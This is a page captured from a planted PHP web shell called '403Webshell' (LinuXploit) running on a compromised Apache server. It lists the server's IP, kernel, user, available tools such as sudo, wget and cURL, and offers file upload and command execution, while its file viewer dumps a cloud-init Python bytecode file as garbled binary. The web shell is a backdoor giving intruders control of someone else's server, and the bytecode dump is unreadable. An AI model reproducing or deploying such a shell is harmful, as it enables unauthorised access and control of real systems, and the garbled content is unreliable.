403Webshell
Server IP : 52.221.34.188  /  Your IP : 216.73.217.74
Web Server : Apache
System : Linux ip-172-31-26-112 7.0.0-1017-aws #18~24.04.1-Ubuntu SMP PREEMPT Thu Oct 29 17:57:24 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.3.36
Disable Function : phpinfo
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /snap/core22/2437/lib/python3/dist-packages/cloudinit/sources/azure/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /snap/core22/2437/lib/python3/dist-packages/cloudinit/sources/azure/__pycache__/kvp.cpython-310.pyc
o

�t�hu�@s�ddlZddlmZmZddlmZddlmZddlmZm	Z	ddl
mZe�e
�Zdeejfdd	�Zd
edefdd�Zd
eedefdd�ZdS)�N)�datetime�timezone)�Optional)�version)�handlers�instantiated_handler_registry)�errors�returncCs tj�d�}t|tj�sdS|S)z'Get instantiated KVP telemetry handler.�	telemetryN)r�registered_items�get�
isinstancer�HyperVKvpReportingHandler)�kvp_handler�r�=/usr/lib/python3/dist-packages/cloudinit/sources/azure/kvp.py�get_kvp_handlers�r�reportcCs,t�}|durt�d�dS|�d|�dS)z/Report to host via PROVISIONING_REPORT KVP key.Nz.KVP handler not enabled, skipping host report.F�PROVISIONING_REPORTT)r�LOG�debug�	write_key)rrrrr�report_via_kvps
r�vm_idcCs<t�ddt����dt�tj�����d|��g�}t	|�S)Nzresult=successzagent=Cloud-Init/z
timestamp=zvm_id=)
r�
encode_reportr�version_stringr�nowr�utc�	isoformatr)rrrrr�report_success_to_host&s��	r)�loggingrr�typingr�	cloudinitr�cloudinit.reportingrr�cloudinit.sources.azurer�	getLogger�__name__rrr�str�boolrrrrrr�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit